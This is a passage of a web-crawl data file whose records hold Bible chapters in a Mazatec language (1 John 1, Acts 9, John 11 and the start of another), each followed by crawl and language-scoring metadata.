iseèn‑né. Xi i̱t'aà ts'e̱, tsjìn xi kjoa̱ jñò. 6Tsà kixoán nga ndaà titsa̱jnakoa̱á Nainá, ta̱nga tsà ya̱á titsa̱nìjchá yijo‑ná ya̱ ñánda jñò choòn, ñánda tjín kjoa̱ch'o, 'én ndisoó titsa̱nokjoá; mìtsà kjoa̱ kixi̱ xi titsa̱'né. 7Ta̱nga tsà ya̱ titsa̱jnaá ñánda iseèn choòn, koni jè Nainá ya̱á tíjna ñánda iseèn choòn, ndaá titsa̱jnakoa̱á xinguia̱á, ko̱ jè jní‑la̱ Jesucristo xi Ki'ndí‑la̱ Nainá ma, sítsjeè yijeé jñà jé xi tjín‑ná. 8Tsà kixoán: \"Tsjìn‑na jé\", ti̱jñá titsa̱chona̱cha̱n‑lá yijo‑ná; mìtsà kjoa̱ kixi̱ xi titsa̱nokjoá. 9Ta̱nga tsà kéno̱jmí yije‑lá Nainá jñà jé xi tjín‑ná, ko̱maá jè kjót'aàtakoán nga si̱ìjchàat'aà‑ná jé‑ná ti̱koa̱á si̱ìtsjeèya‑ná ngats'iì kjoa̱ xi ch'o 'né. Nga̱ jè Nainá síkitasòn 'én‑la̱, ko̱ nguì kjoa̱ kixi̱í xi s'ín. 10Ta̱nga tsà kixoán: \"Kj'eè tsà jé otsjià\", jè Nainá ndisoó titsa̱nachrjekànguiaá, ko̱ mìtsà kixi̱ kjoa̱ nga mokjeiín‑ná jè 'én‑la̱.\n1 Juan 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/1John\/1","date":"2013-12-06T23:15:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052727\/warc\/CC-MAIN-20131204131732-00060-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000035763,"language_script":"Latn","minhash_cluster_size":35,"top_langs":"{\"maa_Latn_score\": 1.0000035762786865}","num_words":249,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.321,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Saulo, xki̱ xi ján i̱'nde bincháxkón‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱ Cristo nga mejèn‑la̱ si̱ìk'en. K'oa̱á ma‑ne nga kiìkon jè no̱'miì ítjòn, 2nga kisìjé‑la̱ xo̱jo̱n xi tjín‑la̱ nga'ñó xi k'oa̱ ts'e̱ jñà ni'ya i̱ngo̱ sinagoga ján Damasco, mé‑ne nga ko̱ma tsobà'ñó‑ne xi̱ta̱ íchjín ko̱ íchjá xi fìt'aà‑la̱ jè ndi̱yá xi̱tse̱‑la̱ Cristo; i̱kjoàn kji̱nchrobàko̱ Jerusalén nga si̱ìkítsa̱jna nda̱yá. 3K'e̱ nga nchifìya ndi̱yá nga jye kjòchrañàt'aà‑la̱ na̱xa̱ndá Damasco, tà ni̱to̱ón kjòhiseèn jngoò itjandiì‑la̱ jngoò ni'ín xi inchrobà‑ne ngajmiì. 4Jè Saulo kiskaàjndoòt'aà nangui, i̱kjoàn kiì'nchré‑la̱ 'én xi kiìchja̱jiìn i̱sén xi kitsò: ―Saulo, Saulo, ¿mé‑ne 'a̱n tì'mìtji̱ngui kondra̱‑ná? 5Saulo kitsò: ―¿Yá‑né ngaji̱, Na̱'èn? Jè xi tíchja̱ kitsò: ―'A̱n‑ná Jesús xi tì'mìtji̱ngui kondra̱‑ná. Ti̱ji̱í tìyatoòn‑ne yijo‑lè, k'oa̱á ngaya‑la̱ koni tsà nchra̱ja̱ tsjón‑la̱ jè yá xi bínès'en‑la̱ nei‑la̱. 6Saulo, tsí tsatsé‑né; tsí ndaà kitsakjòn; k'e̱é kitsò: ―Na̱'èn, ¿mé xi mejèn‑lè nga 'a̱n s'iaàn? Jè Na̱'èn‑ná kitsò‑la̱: ―Ti̱sítji̱in, ti̱tjás'e̱n‑jiìn na̱xa̱ndá; ya̱á s'e̱no̱jmí‑lè mé xi s'i̱in. 7Jñà xi̱ta̱ xi tji̱ko̱ Saulo, tà kisinchaà‑né nga 'ñó kitsakjòn; kiì'nchré‑la̱ jè xi tíchja̱ ta̱nga mìkiì kijtseèxkon yá xi tíchja̱. 8Jè Saulo, tsasítje̱n‑t'aà‑ne nangui, ta̱nga k'e̱ nga kiskíx'a̱ xko̱n mì ti̱ kiì kjòtsejèn‑la̱. Tà jñà xi̱ta̱ xi tji̱ko̱ kitsobàt'aà, kiìko̱ ján Damasco. 9Jàn na̱chrjein tsibìjna nga mì ti̱ kiì kotsejèn‑la̱; ni̱mé xi kiskine ti̱koa̱ ni̱mé xi kits'iì. 10Ya̱ na̱xa̱ndá Damasco tíjna jngoò xi̱ta̱ xi kota'yàt'aà‑la̱ Cristo xi 'mì Ananías; Nainá kiìchja̱‑la̱ nga tsatsejèn jngoò‑la̱ kjoa̱ koni tsà nijñá tí'biì‑la̱, kitsò‑la̱: ―¡Ananías! Kiìchja̱ Ananías kitsò: ―¿Mé‑ne Na̱'èn? ¿Mé xi mejèn‑lè? 11Jè Na̱'èn‑ná kitsò‑la̱: ―Ti̱sítji̱in, t'in jè calle xi 'mì Calle Kixi̱, ya̱ ni'ya‑la̱ Judas; ya̱ ti̱nchátsji jngoiì xi̱ta̱ xi 'mì Saulo xi ya̱ i̱'nde‑la̱ Tarso. I̱'ndei̱, tíbítsi'ba‑né. 12Saulo jyeé kòbeè jngoò kjoa̱ koni tsà nijñá tí'biì‑la̱ xi tsò: jngoò xi̱ta̱ xi 'mì Ananías kòbijchókon nga kòhósòn‑la̱ tsja nga kòmandaà ìjngoò k'a‑ne xko̱n. 13Ananías, k'e̱ nga kiì'nchré kitsò: ―Na̱'èn, tíjiìn‑na, kjìn xi̱ta̱ jye tsibéno̱jmí‑na nga 'ñó ch'o kjoàn xi̱ta̱ jè; jè‑né xi 'ñó tíbeètoòn xi̱ta̱ tsi̱ji ján Jerusalén. 14I̱'ndei̱ koií xá j'iì‑ne skanda i̱jndé, tjín‑la̱ o̱kixi̱ i̱t'aà ts'e̱ no̱'miì ítjòn nga tso̱ba̱'ñó ngats'iì xi̱ta̱ xi mokjeiín‑la̱ i̱t'aà tsi̱ji. 15Nainá kitsò‑la̱ Ananías: ―Tich'oín xi̱ta̱ jè; xó jaàjiìn‑na; k'oa̱á s'ín ko̱chjeén‑na nga jè ki̱chja̱ya i̱t'aà ts'a̱n nga tíjtsa i̱sò'nde nguixko̱n ngats'iì xi̱ta̱ xi mìtsà xi̱ta̱ judío ko̱ xi̱ta̱xá ítjòn‑la̱, ti̱koa̱ jñà xi xi̱ta̱ Israel. 16'A̱án kokoò yije‑la̱ kjo̱'in xi 'ñó tse si̱ìkjeiín xi kjoa̱ ts'a̱n. 17Ananías kiì ñánda tíjna Saulo; jahas'en ni'ya. Tsohósòn‑la̱ tsja, kitsò‑la̱: ―'Ndsè Saulo, jè Na̱'èn‑ná Jesús xi kiìchja̱‑lè ya̱ i̱ya ndi̱yá k'e̱ nga tjinchroboí, jè kàsíkasén‑na nga ko̱tsejèn ìjngoò k'a‑lè ti̱koa̱ si̱jiìn ini̱ma̱‑lè Ini̱ma̱ Tsjeè‑la̱ Nainá. 18Saulo, ni̱to̱ón kitjaàxìn‑la̱ xko̱n xi koni kjoàn chrjoa̱ to̱n‑la̱ ti̱n. I̱kjoàn kjòtsejèn ìjngoò k'a‑la̱. K'e̱é tsasítje̱n, i̱kjoàn komà bautizar. 19Saulo, tsakjèn; i̱kjoàn kis'e ìjngoò k'a‑la̱ nga'ñó. Tsibìjnako̱ chiba na̱chrjein jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Cristo xi títsa̱jna Damasco. 20Saulo, ni̱to̱ón tsibíts'ia̱ nga kiìchja̱ya i̱t'aà ts'e̱ Jesús ya̱ ngats'iì ni'ya i̱ngo̱ sinagoga nga jè Jesús, jè xi Ki'ndí‑la̱ Nainá. 21Ngats'iì xi̱ta̱ xi kiì'nchré‑la̱ tà kjòxkón‑la̱; kitsò‑la̱ xíkjín: ―¿A mìtsà jè xi̱ta̱ jè xi tsangatji̱ngui‑la̱ xi̱ta̱ ján Jerusalén, jñà xi mokjeiín‑la̱ i̱t'aà ts'e̱ Jesús? ¿A mìtsà ti̱koa̱ koií xá j'iì‑ne i̱jndé nga nda̱yá kji̱ko̱ yije xi̱ta̱ koi, i̱kjoàn si̱ìnga̱tsja no̱'miì ítjòn? 22Ta̱nga Saulo, ìsa̱á 'ñó tse nga'ñó tísijiìn ini̱ma̱‑la̱ nga chja̱ya. Jñà xi̱ta̱ judío xi títsa̱jna Damasco, skanda mì ti̱ kiì beè‑ne kós'ín si̱ìkítsjeèn koni s'ín tsakóya Saulo nga nguì 'én kixi̱‑né nga Jesús, jè xi Cristo [jè xi xó kisìkasén‑ne Nainá]. 23Nga jye komà kjìn na̱chrjein, jñà xi̱ta̱ judío, tsajoóya‑ne nga si̱ìk'en Saulo. 24Ta̱nga jè Saulo kiì'nchré koni s'ín tsajoóya‑ne nga jñà xi̱ta̱ judío, ko̱ na̱chrjein ko̱ ni̱tje̱n kisìkinda̱, tsibìtsa̱jnajto xotjoa̱‑la̱ na̱xa̱ndá nga mejèn‑la̱ si̱ìk'en. 25Ta̱nga jñà xi̱ta̱‑la̱ Saulo, k'e̱ nga jñò, kiìko̱, kisìkíjnaya jngoò ni̱si̱yá xi je kji; i̱kjoàn kiskinìs'en‑kjá ñánda ti̱x'á chiba jè chrjó xi tjíndiì‑la̱ na̱xa̱ndá ko̱ ya̱á kiskinìjen‑jno jè chrjó, mé‑ne komà tsanga‑ne. 26Saulo, k'e̱ nga ijchò‑ne ján Jerusalén, mejèn‑la̱ nga ya̱ koa̱hijtako̱ jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Cristo, ta̱nga ngats'iì xi̱ta̱ koi, tà kitsakjòn‑la̱, nga̱ mìkiì kòkjeiín‑la̱ tsà kixi̱ kjoa̱ nga ti̱koa̱ ya̱ kota'yàt'aà‑la̱ Cristo. 27Ta̱nga jè Bernabé k'e̱é kiìko̱ ñánda títsa̱jna xi̱ta̱ xi tsibíxáya‑la̱ Jesús. Tsibéno̱jmí‑la̱ nga jyeé jahatjìya‑la̱ k'e̱ nga kijtseè Na̱'èn‑ná Jesús nga kiìchja̱ sobà‑la̱ ya̱ i̱ya ndi̱yá k'e̱ nga tífì Damasco; ti̱koa̱á tsibéno̱jmí‑la̱ nga ján Damasco 'ñó ndaà kiìchja̱ i̱t'aà ts'e̱ Jesús, mìkiì kitsakjòn. 28Saulo, ya̱á tsibìjnako̱ jñà xi̱ta̱ xi tsibíxáya‑la̱ Jesús; ya̱á tsajmeiìko̱ Jerusalén. Mìkiì kitsakjòn nga kiìchja̱ya i̱t'aà ts'e̱ Jesús. 29'Ñó kiìchja̱ko̱ jñà xi̱ta̱ judío xi 'én griego chja̱ nga tsajoókjoòko̱ xíkjín; ta̱nga jñà xi̱ta̱ koi tsohótsji'nde‑la̱ kó s'ín si̱ìko̱ nga mejèn‑la̱ si̱ìk'en Saulo. 30Jñà xi̱ta̱ xi 'ndse̱ joó i̱t'aà ts'e̱ Cristo, k'e̱ nga kiì'nchré 'én koi, kiìko̱ Saulo ján Cesarea, i̱kjoàn kisìkasén skanda ján Tarso. 31Ngats'iì xi̱ta̱ na̱xa̱ndá‑la̱ Cristo, 'nchán tsibìtsa̱jna kóho̱tjín na̱xa̱ndá xi chja̱‑ne nangui Judea, Galilea ko̱ Samaria; nì ti̱ mé kjoa̱siì kis'e‑ne. Kis'e‑ìsa̱‑la̱ nga'ñó ts'e̱ ini̱ma̱‑la̱ nga ìsa̱ ndaà kijtseèxkón Nainá; jè Ini̱ma̱ Tsjeè‑la̱ Nainá ìsa̱á ndaà tsasìko̱ nga ìsa̱ kjìn komà xi̱ta̱‑la̱ Cristo. 32Jè Pedro, k'e̱ nga tsajmeèsòn i̱'nde koi, ti̱koa̱á kiìkon xi̱ta̱‑la̱ Cristo xi títsa̱jna ya̱ na̱xa̱ndá Lida. 33Ya̱ tíjna jngoò xi̱ta̱ xi 'mì Eneas; jyeé tjín‑la̱ jiìn nó nga kijna xk'én, mìkiì ma síkjaníyá yijo‑la̱. 34Pedro kitsò‑la̱: ―Eneas, jè Jesucristo tísíndaà‑lè. Ti̱sítji̱in, tixkóyi nijñaà‑lè. Eneas, ni̱to̱ón tsasítje̱n. 35Ngats'iì xi̱ta̱ xi títsa̱jna ya̱ na̱xa̱ndá Lida ko̱ Sarón, kijtseè Eneas nga tsajmeè‑ne, i̱kjoàn kòkjeiín‑la̱ i̱t'aà ts'e̱ Na̱'èn‑ná Jesús. 36Ya̱ na̱xa̱ndá Jope tíjna jngoò chjo̱ón xi kota'yàt'aà‑la̱ Cristo: Tabita 'mì. Jè 'én griego, Dorcas 'mì. [Jè 'én tsa̱ján, Na̱xín tsò‑ne.] Chjo̱ón jè, 'ñó ndaà xi̱ta̱, ti̱koa̱á ndaà síchját'aà‑la̱ xi̱ta̱ i̱ma̱. 37Jñà na̱chrjein koi, chjo̱ón jè, kjòxk'én koa̱ k'en. K'e̱ nga jye kisìhingáya, kiìko̱, kisìkájnaya ni'ya xi ma‑ne jò piso. 38Jè na̱xa̱ndá Lida ya̱á kijnat'aà chrañà‑la̱ Jope. Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Cristo kiì'nchré nga ya̱ tíjna Lida jè Pedro. Kisìkasén jò xi̱ta̱ x'i̱n xi kiì kítsi'ba‑la̱, kitsò‑la̱: ―Kì nìkachrjein‑jèn, ni̱to̱n nchrobáchón‑náje̱n. 39Pedro, k'e̱ nga kiskaàt'aà‑la̱ o̱kixi̱, ni̱to̱ón tsasítje̱n; tsobáhijtako̱ xi̱ta̱ koi. K'e̱ nga ijchò Jope, kiìko̱ ñánda kijna mik'en; jahas'en ni'ya. Ngats'iì íchjín ka'àn xi títsa̱jna ijchò kinchat'aà‑la̱ Pedro nga kjindáya; tsakó‑la̱ x'ió ko̱ na̱chro̱ xi tsibíndaà Dorcas k'e̱ nga ti̱sa̱ tíjnakon. 40Pedro tsachrje yije ni'ya jñà xi̱ta̱ koi; i̱kjoàn tsasìxkó'nchi, kiìchja̱t'aà‑la̱ Nainá; k'e̱é kiskoò'an jè mik'en, kitsò‑la̱: ―¡Tabita, ti̱sítji̱in! Jè mik'en, kiskíx'a̱ngui‑ne xko̱n. K'e̱ nga kijtseè Pedro, tsibìjna kixi̱. 41Pedro kitsjaà‑la̱ tsja, kisìkasítje̱n; i̱kjoàn kiìchja̱‑la̱ xi̱ta̱‑la̱ Cristo ko̱ jñà íchjín ka'àn; tsakó‑la̱ Dorcas nga tíjnakon‑né. 42Kjoa̱ jè, ki'ya yijeé‑la̱ kóho̱kji Jope; kjìn xi̱ta̱ kòkjeiín‑la̱ i̱t'aà ts'e̱ Na̱'èn‑ná Jesucristo. 43Jè Pedro, kjìn na̱chrjein tsibìjna ya̱ Jope, ya̱ ni'ya‑la̱ xi̱ta̱ xi 'mì Simón chji̱ne̱chrjoa̱.\nHechos 9","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Acts\/9","date":"2013-12-06T23:18:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052727\/warc\/CC-MAIN-20131204131732-00017-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000051259994507}","num_words":1057,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.269,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jngo xi̱ta̱ ra 'mì Lázaro kjijna kiya‑ní ra ya̱ i̱'nde‑la̱ ñánda̱ 'mì Betania ya̱ na̱xi̱ndá 'tse̱ María ko̱ ndichja ra 'mì Marta. 2(Jè María ra ndichja ma Lázaro, jè‑ní chjo̱ón ra̱kìi̱ ra tsikíxten‑jnó sihìti̱ ixi ra 'ñó nda jne̱ ya̱ ndsa̱ko̱ Jesús, ko̱ nga tsja̱sko̱ isìxìjno‑ni.) 3Jñà íchjín ndichja Lázaro isìkasén 'én‑la̱ Jesús nga kitsò‑la̱: ―Na̱'ìn, jè amigo‑li ra 'ñó tsjachi kjijna kiya‑ní. 4Jesús 'kia̱ nga kií'nchré, kitsó‑ní: ―Jè 'chin ra tjín‑la̱ mì tsa kjo̱biya kji'ta‑la̱; ta 'koa̱á 'sín ko̱chjeén nga jcha̱‑la̱ jè kjoa̱jeya‑la̱ Nainá, ko̱ mé‑ni jeya katijna‑te‑ni jè I'ndí‑la̱ Nainá a̱'ta 'tse̱ 'chin ra̱kìi̱. 5Jesús ni̱'sín 'ñó tsjake jè Marta ko̱ ndichja ko̱ 'ndse̱ Lázaro, 6'kia̱ nga kií'nchré nga kiyaá jè Lázaro, takó jò ni̱chjin tsikijna‑isa ya̱ i̱'nde ñánda̱ tíjna 'kia̱. 7Ra ijye kjomà kitsó‑la̱ xi̱ta̱ ra kotá'yá'ta‑la̱: ―Tjian india‑ná ya̱ ján nangi Judea. 8Jñà xi̱ta̱ ra kotá'yá'ta‑la̱ kitsó‑ní: ―Ji̱ Maestro, kjè tsa kjokjìn ni̱chjin tjín‑ni 'kia̱ nga kja̱meé na̱jo̱ tsikínè‑li jñà xi̱ta̱ judío nga mejèn‑la̱ si̱ì'ken‑li. ¿A ti̱ya̱á mejèn‑li 'kín indiaá‑ni? 9Jesús kitsò: ―¿A mí tsa tejò hora tjín‑la̱ nga jngo ni̱chjin? Jè ra tsá'ba ni̱chjin mì kì saténgi‑jìn, nga̱ jè ni'í ra tíjna i̱ i̱sà'nde síhisen‑la̱; 10tanga jè ra tsá'ba ni̱tje̱n, saténgi‑ní nga̱ tsìn‑la̱ ni'í ra síhisen‑la̱. 11A̱kjòn kitsò‑isa‑la̱: ―Jè amigo‑ná Lázaro ijyeé kjijnafé‑ní, ko̱ kií xá fì‑na nga 'a̱n sí'ká‑la̱. 12Jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús kitsó‑ní: ―Na̱'ìn, tsa ta kjijnafé‑ní, ko̱ndàa‑ni. 13Tanga jè ra ko̱kitsò‑la̱ Jesús, jè‑ní nga ijyeé 'ken jè Lázaro, ko̱ jñà xi̱ta̱‑la̱ Jesús, 'koa̱á 'sín kiìya‑la̱ tsa ta tísíkjáya‑ní nga kjijnafè. 14'Kia̱á nda kjón ko̱kitsò‑la̱: ―Jè Lázaro ijyeé 'ken‑ní. 15Matsjaá‑na nga mì tsa ya̱ tíjna̱ 'kia̱ nga ko̱'sín kjamà; ra a̱'ta tsa̱jiòn isa̱á nda tjín‑ni, mé‑ni nga katakjiín‑no. Tanga tíkjieén, tjahítsíjen‑lá. 16'Kia̱á kiìchja̱ jè Tomás jè ra ti̱'koa̱á Dídimo tsò‑la̱ ['én ra tsò‑ni: I̱xti'ño̱]; kitsò‑la̱ jñà xi̱ta̱ xákjién ra ta̱ña kotá'yá'ta‑la̱ Jesús: ―Tjian‑teé mé‑ni nga ya̱ katabiyako̱‑te‑ná. 17'Kia̱ nga ijchò Jesús, kií'nchré‑ní nga kjo ijòn ni̱chjin tjín‑ni nga isìhijin jè Lázaro. 18Jè na̱xi̱ndá Betania ya̱á kjijna'ta chraña‑la̱ Jerusalén, tjín‑la̱ tsa jàn jmi metro jè ndi̱yá nga mangié. 19Kjín xi̱ta̱ judío ijchòjkon jè Marta ko̱ María, ra ijchò síje ikon nga 'ken jè 'ndse̱. 20Jè Marta 'kia̱ nga kií'nchré nga ijyeé tínchrabá chraña jè Jesús, kií'ká india‑ní, tanga jè María tsikijna ra jè. 21Jè Marta kitsó‑la̱ Jesús: ―Na̱'ìn, tsa i̱í‑la tijni, mí‑la kì 'ken‑jìn jè 'ndsè. 22Tanga be‑ná, tsa mé ra si̱jé‑la̱ ji̱ Nainá 'ndi̱ 'ndi̱, tsjá‑li. 23Jesús kitsó‑la̱: ―Jè 'ndsì kjoa̱áya‑ila̱. 24Jè Marta kitsò‑la̱: ―Ijyeé be‑náa̱ nga kíjnakoón india‑ni, 'kia̱ nga kjoa̱áya india‑ila̱ nga'tsì mi'ken 'kia̱ nga kje̱he'tà ni̱chjin. 25'Kia̱á kitsò‑la̱ Jesús: ―'A̱án‑ná ra sikjaáya‑ila̱ xi̱ta̱ ko̱ 'a̱n‑ná jè ra tsja‑la̱ kjo̱binachon. Jè ra makjiín‑la̱ a̱'ta tsa̱'a̱n, ni̱'sín ki̱yá takó kíjnakoón india‑ni. 26Ko̱ nga'tsì xi̱ta̱ ra tjítsa̱jnakon nga makjiín‑la̱ ra a̱'ta tsa̱'a̱n, mì tsa ngi ki̱yá‑jìn. ¿Ji̱, a makjiín‑li jñà 'én kìi̱? 27Jè Marta kitsó‑ní: ―Makjiín‑na Na̱'ìn nga ji̱‑ní ra Cristo, jè I'ndí‑la̱ Nainá, jè ra xá 'koa̱ 'sín tjínè‑la̱ nga kj'i̱í i̱ i̱sà'nde. 28'Kia̱ nga ijye ko̱kitsò jñà 'én kìi̱ jè Marta, kijì‑ní nga isíkjí'nchré jè ndichja María, kiìchja̱ 'taxìn‑la̱ kitsò‑la̱: ―I̱í tíjna jè Maestro, ya̱‑ró chja̱‑li. 29Jè María, 'kia̱ nga kií'nchré ndi̱to̱ón tsasítje̱n, kijì ya̱ ñánda̱ tíjna Jesús. 30Jesús kjè tsa bijchó kjòn ya̱ ñánda̱ nga tíjna na̱xi̱ndá, takó ya̱á tíjna ya̱ ñánda̱ ijchò'ká india jè Marta. 31Jñà xi̱ta̱ judío ra ya̱ tjítsa̱jnako̱ nga i̱nchisíje ikon, 'kia̱ nga kijtse jè María nga tsasítje̱n nga xátí‑la̱ itjo ni'ya, kijìtji̱ngií‑la̱; 'koa̱á 'sín isíkítsjen tsa ya̱á tífì kjindáya ya̱ ñánda̱ nga isìhijin jè Lázaro. 32'Kia̱ nga ijchò jè María ya̱ ñánda̱ tíjna Jesús, 'kia̱ nga kijtse, tsasèn-xkó'nchi'tá‑la̱, kitsò‑la̱: ―Na̱'ìn, tsa i̱í‑la tijni, jè 'ndsè mí‑la kì 'ken‑jìn. 33Jesús 'kia̱ nga kijtse nga iskindayaá jè María ko̱ iskindayaá‑te jñà xi̱ta̱ judío ra tji̱ko̱, baá ki'se‑la̱ ko̱ ajò kjomà‑la̱ ya̱ a̱jin inìma̱‑la̱. 34'Kia̱á iskonangi‑la̱, kitsò: ―¿Ñánda̱ tsikihìjion? 'Kia̱á kitsò‑la̱: ―Na̱'ìn, nchrabí ko̱ chítsijen‑la̱. 35Jè Jesús iskindaya‑ní. 36Jñà xi̱ta̱ judío 'kia̱á kitsò‑la̱ xákjién: ―Chítsijen‑la, 'ñó kitií‑la tsjake kjomà jè Lázaro. 37Tjín i'ka jñà xi̱ta̱ ra kitsò: ―Xi̱ta̱ ra̱kìi̱ kjomá‑la̱ iskí'xa̱ngi‑ni xko̱n xi̱ta̱ ra mì kì tsijen‑la̱. ¿A mí ma‑te‑la̱ tsa ko̱'sín ki'sìn, tsa mì kì kitsjá'nde nga 'ken jè Lázaro? 38Jesús 'ñó 'on kjomà india‑ila̱ jè inìma̱‑la̱, ikasijna'tà chraña‑la̱ ñánda̱ isìhijin jè Lázaro. Jngo nga̱jo̱ ra ti̱'xángi ko̱ jngo na̱jo̱ ra 'ñó tse tjíchjàjto‑ila̱. 39Jesús kitsó‑ní: ―Chjíixiòn jè na̱jo̱. Jè Marta, ndichja ndí mi'ken kitsó‑la̱: ―Ji̱ Na̱'ìn, ijyeé‑la 'ñó jne̱‑jta nga̱ ijyeé fì ijòn ni̱chjin nga kisihijin. 40Kiìchja̱á Jesús kitsò‑la̱: ―¿A mí tsa ijye ko̱ kíxin‑la, tsa ko̱kjiín‑li, jcha̱‑ní jè kjoa̱jeya‑la̱ Nainá? 41Jñà xi̱ta̱ 'kia̱á jahíxìn jè na̱jo̱ ra tjíchjàjto‑ila̱ ñánda̱ kjijna jè ndí mi'ken. Jè Jesús iskotsíjen ján i'ngaá, kitsò: ―Tse kjo̱nda kata'se‑li Na̱'ìn nga kàna'yá‑ná. 42Be‑ná nga ji̱, 'koa̱á 'sín na'yá ki'tá‑ná; ta kií ko̱xin‑na nga̱ kjín ma‑ni xi̱ta̱ tjítsa̱jna i̱jndíi̱, mé‑ni nga katakjiín‑la̱ nga ngi 'én kixi̱‑ní nga ji̱í inikasén‑ná. 43'Kia̱ nga ijye ko̱kitsò, 'ñó kiìchja̱ nga kitsò: ―¡Lázaro, títji̱i ndi̱tsiaán! 44Ko̱ jè ra 'ken itjoó‑ni nga̱jo̱; tjìkótjìjno jngo na'ñó nikje nga tíjngo ndsa̱ko̱ ko̱ tsja; ko̱ jngo nikje chraba tjìkótjìjno ya̱ i̱sén‑la̱. Jesús kitsó‑la̱ jñà xi̱ta̱: ―Chjíjnda̱jnò‑no jè na'ñó nikje, ko̱ katafì‑ni. 45Jñà xi̱ta̱ judío ra tsakáhijtako̱ jè María, kjìn ma‑ni ra kjokjiín‑la̱ a̱'ta 'tse̱ Jesús, 'kia̱ nga kijtse jè kjoa̱ ra ki'sìn. 46Tanga tjín i'ka ra ijkon jñà xi̱ta̱ fariseo, nga tsi'kéna̱jmí‑la̱ jè kjoa̱ ra ki'sìn Jesús. 47Jñà na̱'mì ítjòn ko̱ jñà xi̱ta̱ fariseo, 'kia̱á tsikíxkóya xákjén ko̱ nga'tsì jñà xi̱ta̱ ítjòn‑la̱ xi̱ta̱ judío nga tsajo̱óya‑ni; kitsò‑la̱ xákjén: ―¿Mé ra 'sie̱én? Jè xi̱ta̱ ra kìi̱ batoó kjìn kjo̱xkón ra nda tjín tí'sín. 48Tsa ta ki̱'nde‑lá, nga'tsì xi̱ta̱ ya̱á ko̱kjiín‑la̱ a̱'ta 'tse̱, ko̱ a̱kjòn kj'i̱í jñà xi̱ta̱ romano nga si̱ìkitsóñà jè i̱'nde tsje‑ná ko̱ jè na̱xi̱ndá‑ná. 49'Kia̱á kiìchja̱ jngo xi̱ta̱ 'tse̱, jè ra 'mì Caifás, jè ra na̱'mì ítjòn tíjna jè nó 'kia̱, nga kitsò: ―Mì kì mé ra tjíjin‑no ra jiòn, 50ko̱ nda mí 'ya‑najiòn, tsa isa̱á nda jnchro‑ni nga ta jngo xi̱ta̱ katiyatjì‑la̱ jè na̱xi̱ndá, ko̱ mì 'koa̱‑ni tsa jñà xi̱ta̱ katabiya ijye. 51Tanga mì tsa kjo̱bítsjen 'tse̱‑jìn Caifás nga ko̱'sín kitsò. Jè Nainá kisìchi̱ya‑la̱ koni nga na̱'mì ítjòn tíjna jè nó 'kia̱; ta tje̱n 'koa̱á 'sín kitsò nga jè Jesús jè ki̱yátjì ngajo‑ila̱ jè na̱xi̱ndá; 52ko̱ mì tsa ta jè na̱xi̱ndá ki̱yátjì‑la̱, ti̱'koa̱á ki̱íxkóya tsje‑ni nga jngó jtín 'si̱in‑ni jñà i̱xti‑la̱ Nainá ra jndíi̱ ra ján tjíma. 53'Koa̱á 'sín tsajo̱óya‑ni jè ni̱chjin ra̱kiòo̱ nga si̱ì'ken jè Jesús. 54'Koa̱á ma‑ni jè Jesús mì kì ti̱ taxki̱ tsajmejín masen‑ila̱ jñà xi̱ta̱ judío; ya̱á kijì ya̱ jngo i̱'nde ñánda̱ a̱'ta xìn ñánda̱ nangi kixì chon ya̱ chraña'ta‑la̱ jngo na̱xi̱ndá ra 'mì Efraín; ya̱á tsikijnako̱ xi̱ta̱ ra kotá'yá'ta‑la̱. 55Ta chibaá ni̱chjin chija‑isa 'sí paxko̱ 'tse̱ xi̱ta̱ judío, ko̱ kjìn xi̱ta̱ na̱xi̱ndá kijì ya̱ Jerusalén 'kia̱ nga ti̱kje bitjo 'sí, nga kiì sítsje ijo‑la̱ koni 'sín tjín kjo̱téxoma‑la̱. 56Ko̱ i̱nchibátsjií jè Jesús, jndíi̱ ra ján kjonangi‑la̱ xákjén nga tjítsa̱jnaya ya̱ ndi̱tsin i̱ngo̱ ítjòn, nga tsò: ―¿Kó'sín níkítsjen jiòn? ¿A mí kj'i̱í 'sí tsa 'koa̱? 57Jñà na̱'mì ítjòn ko̱ jñà xi̱ta̱ fariseo, 'koa̱á 'sín ijye kitsjà kjo̱hixi̱, nga tsa yá ra ske̱ ñánda̱ tíjna ká'téna̱jmí‑ní mé‑ni nga ma ki̱nda̱ba̱'ñó‑ni.\nSan Juan 11","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/John\/11","date":"2013-12-08T13:02:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163065688\/warc\/CC-MAIN-20131204131745-00007-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"maa_Latn_score\": 1.0000088214874268}","num_words":1156,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.321,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Nga'tsì jñà ra na̱'mì ítjòn, ya̱á tjahíjin ya̱ a̱jin 'tse̱ xi̱ta̱ na̱xi̱ndá mé‑ni nga chja̱tjì‑ni xi̱ta̱ na̱xi̱ndá ya̱ ngixko̱n Nainá ko̱ mé‑ni ko̱ma tsjá‑la̱ kjo̱tjò Nainá ko̱ si̱ì'ken cho̱ ra ta 